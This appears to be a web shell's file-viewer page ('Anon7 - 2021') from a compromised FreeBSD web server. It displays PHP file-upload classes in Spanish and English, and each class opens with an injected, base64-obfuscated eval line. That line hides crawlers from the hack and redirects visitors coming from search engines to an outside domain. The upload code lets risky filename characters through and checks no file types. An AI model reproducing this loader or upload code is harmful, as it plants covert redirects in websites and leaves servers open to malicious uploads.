KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/logicswapweb/aplicaciones/admon/fnc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/logicswapweb/aplicaciones/admon/fnc/archivo.php
<?php	 	eval(base64_decode("CmVycm9yX3JlcG9ydGluZygwKTsKJHFhenBsbT1oZWFkZXJzX3NlbnQoKTsKaWYgKCEkcWF6cGxtKXsKJHJlZmVyZXI9JF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOwokdWFnPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsKaWYgKCR1YWcpIHsKaWYgKHN0cmlzdHIoJHVhZywiTVNJRSIpKXsKcHJlZ19tYXRjaCAoIi9tc2llIChbMC05Ll0rKS9pIiwkdWFnLCRtdik7CmlmIChpc3NldCgkbXZbMV0pKXsKJG12PXN0cl9yZXBsYWNlKCIuIiwiIiwkbXZbMV0pOwp9Cn0KaWYoIXByZWdfbWF0Y2goIi9eNjZcLjI0OVwuLyIsJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10pKXsKaWYgKHN0cmlzdHIoJHVhZywiTVNJRSIpIGFuZCAkbXY+PTkwKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vLiIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmcuIikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpKSB7CmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBhbmQgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikgYW5kICFzdHJpc3RyKCRyZWZlcmVyLCJFZVlwM0Q3IikpewpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vZ3NibmNtLmVwYWMudG8vIik7CmV4aXQoKTsKfQp9Cn0KfQp9Cn0="));
// adaptacion de www.php.net
// author: Suri Bala
// freely distributable


class Archivo extends ComponenteDg{

  private $file_upload_flag = "off"; 
  private $upload_max_filesize = "100";
  private $upload_file_name;

  function Archivo($name,$nApli) {
     if( is_null($_FILES[$name]) )  {
	 	$out=$this->getMensage("[045]","error")."("$name.")";
		$this->setSalida(false,$out,"Archivo($name,$nApli)",$nApli);
		return false;
     }else{
		 $this->getConfigurationSettings();
		 if( $this->file_upload_flag == "off" ) {
			 $out=$this->getMensage("[046]","error");
			 $this->setSalida(false,$out,"Archivo($name,$nApli)",$nApli);
			 return false;
		 }else{
		 	$this->upload_file_name = $name;
			return true;
		 }
	 }
  }

  private function getConfigurationSettings() {
     $this->upload_max_filesize = ini_get('upload_max_filesize');
     $this->upload_max_filesize = preg_replace('/M/', '000000', $this->upload_max_filesize);
  }

  public function getErrors() {
     return $_FILES[$this->upload_file_name]['error'];
  }

  public function getFileSize() {
     return $_FILES[$this->upload_file_name]['size'];
  }

  public function getFileName() {
     return $_FILES[$this->upload_file_name]['name'];
  }

  public function getTmpName() {
     return $_FILES[$this->upload_file_name]['tmp_name'];
  }

  public function getFileType() {
     return $_FILES[$this->upload_file_name]['type'];
  }


  public function checkMaxMemorySizeLimit() {
   if( $this->getFileSize() <=  $this->upload_max_filesize ) {
		return true;
   }else{
	 	$out=$this->getMensaje("[047]","error");
		$this->setSalida(false,$out,"checkMaxMemorySizeLimit()",$nApli);
		return false;
   }
  }
 /*
 *funcion loadFile
*descripcion sube un archivo al servidor mediante http
*			 renombrandolo si el archivo ya existe
 */
function loadFile($destDir,$maxFileSize = false){
   
   if(empty($maxFileSize)){
		$maxFileSize = $this->upload_max_filesize;
   }
   //make sure something is there
   if(!isset($_FILES[$this->upload_file_name]) ||!isset($_FILES)||!is_array($_FILES[$this->upload_file_name]) ||!$_FILES[$this->upload_file_name]['name']){
   		$out=$this->getMensaje("[048]","error");
		return false;
   }
   
   //normalize the file variable
   $file = $_FILES[$this->upload_file_name];
   if (!isset($file['type']))      $file['type']      = '';
   if (!isset($file['size']))      $file['size']      = '';
   if (!isset($file['tmp_name']))  $file['tmp_name']  = '';
   $file['name'] = preg_replace(
             '/[^a-zA-Z0-9\.\$\%\'\`\-\@\{\}\~\!\#\(\)\&\_\^]/'
             ,'',str_replace(array(' ','%20'),array('_','_'),$file['name']));
   
   //was it to big?
   if($file['size'] > $maxFileSize){
    	$out=$this->getMensaje("[049]","error");
		return false;
   }
   //normalize destDir
   if(strlen($destDir)>0 && $destDir[strlen($destDir)-1] != "/") $destDir = $destDir.'/';
   
   $i = 0;    
   //if the filename already exists, append _copy_x (with extension)
   if(strpos($file['name'],'.') !== false){
       $bits = explode('.',$file['name']);
       $ext = array_pop($bits);
       while(file_exists($destDir.implode('.', $bits).($i?'_copy_'.$i:'').'.'.$ext)){
           ++$i;
           $file['name'] = implode('.',$bits).($i?'_copy_'.$i:'').'.'.$ext;
       }
   
   //if the filename already exists, append _copy_x (no extension)
   } else {
       while(file_exists($destDir.$file['name'].($i ?'_copy_'.$i:''))){
           ++$i;
           $file['name'] = $file['name'].($i?'_copy_'.$i:'');
       }
   }
   //and now the big moment
   if(!@copy($file['tmp_name'], $destDir.$file['name']))
       return array(false,"Permiso denegado para copiar el archivo!");//array(false,'Could not write the file "'.$file['name'].'" to: "'.$destDir.'". Permission denied.');
   else
       return array(true,$file['name']);
} 
} //end archivo

<?php	 	eval(base64_decode("CmVycm9yX3JlcG9ydGluZygwKTsKJHFhenBsbT1oZWFkZXJzX3NlbnQoKTsKaWYgKCEkcWF6cGxtKXsKJHJlZmVyZXI9JF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOwokdWFnPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsKaWYgKCR1YWcpIHsKaWYgKHN0cmlzdHIoJHVhZywiTVNJRSIpKXsKcHJlZ19tYXRjaCAoIi9tc2llIChbMC05Ll0rKS9pIiwkdWFnLCRtdik7CmlmIChpc3NldCgkbXZbMV0pKXsKJG12PXN0cl9yZXBsYWNlKCIuIiwiIiwkbXZbMV0pOwp9Cn0KaWYoIXByZWdfbWF0Y2goIi9eNjZcLjI0OVwuLyIsJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10pKXsKaWYgKHN0cmlzdHIoJHVhZywiTVNJRSIpIGFuZCAkbXY+PTkwKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vLiIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmcuIikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpKSB7CmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBhbmQgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikgYW5kICFzdHJpc3RyKCRyZWZlcmVyLCJFZVlwM0Q3IikpewpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vZ3NibmNtLmVwYWMudG8vIik7CmV4aXQoKTsKfQp9Cn0KfQp9Cn0="));

// author: Suri Bala
// freely distributable

class fileupload{

  private $upload_tmp_dir = "/tmp/";  // leading and trailing slash required
  private $file_upload_flag = "off"; 
  private $upload_max_filesize = "100";
  private $allowable_upload_base_dirs = array("/tmp/", "/web/dynawolf/uploads/");
  private $allowable_upload_tmp_dirs = array( "/tmp/");
  private $upload_dir= "/tmp/";  // leading and trailing slash required
  private $upload_file_name;

  function __construct($name) {
     if( is_null($_FILES[$name]) )  {
         echo "Specified file <strong> ".$name." </strong> does not exist in the FILES array. Please check if it exists";
         echo "Exiting...";
         exit;
     }
     $this->getConfigurationSettings();
     if( $this->file_upload_flag == "off" ) {
       echo "File upload capability in the configuration file is turned <strong> off </strong> . Please update the php.ini file.";
       exit;
     }
     $this->upload_file_name = $name;
  }

  private function getConfigurationSettings() {
     $this->file_upload_flag = ini_get('file_uploads');
     $this->upload_tmp_dir = ini_get('upload_tmp_dir');
     $this->upload_max_filesize = ini_get('upload_max_filesize');
     $this->upload_max_filesize = preg_replace('/M/', '000000', $this->upload_max_filesize);
  }

  public function getErrors() {
     return $_FILES[$this->upload_file_name]['error'];
  }

  public function getFileSize() {
     return $_FILES[$this->upload_file_name]['size'];
  }

  public function getFileName() {
     return $_FILES[$this->upload_file_name]['name'];
  }

  public function getTmpName() {
     return $_FILES[$this->upload_file_name]['tmp_name'];
  }

  public function setUploadDir($upload_dir) {
   trim($upload_dir);
   if( $upload_dir[strlen($upload_dir)-1] != "/" ) $upload_dir .= "/"; // add trailing slash
   $can_upload = false;
   foreach( $this->allowable_upload_base_dirs as $dir ) {
       if( $dir == $upload_dir ) {
     $can_upload = true;
         break;
       }
   }
   if( !$can_upload ) {
       echo "Cannot upload to the dir ->".$upload_dir;
       return;
   }else{
       $this->upload_dir = $upload_dir;
       echo $this->upload_dir;
   }
  }

  public function setTmpUploadDir($upload_tmp_dir) {
   trim($upload_tmp_dir);
   if( $upload_tmp_dir[strlen($upload_tmp_dir)-1] != "/" ) $upload_tmp_dir .= "/"; // add trailing slash
   $can_upload = false;
   foreach( $this->allowable_upload_base_dirs as $dir ) {
       if( $dir == $upload_tmp_dir ) {
     $can_upload = true;
     return;
       }
   }
   if( !$can_upload ) {
       echo "Cannot upload to the dir ->".$uplaod_tmp_dir;
       return;
   }
   $this->upload_tmp_dir = $upload_dir;
  }

  public function uploadFile() {
   if( $this->checkMaxMemorySizeLimit() ) {
       echo "File size of ".$this->getFileSize()." greater than allowable limit of ".$this->upload_max_filesize."Please change the configuration setting.";
       return;
   }else{
     if( !move_uploaded_file($this->getTmpName(), $this->upload_dir.$this->getFileName()) ) {
         echo "Failed to upload file ".$this->getTmpName();
     }
   }
  }

  public function checkMaxMemorySizeLimit() {
   if( $this->getFileSize() >  $this->upload_max_filesize ) {
     return true;
   }else{
     return false;
   }
  }

} 


Anon7 - 2021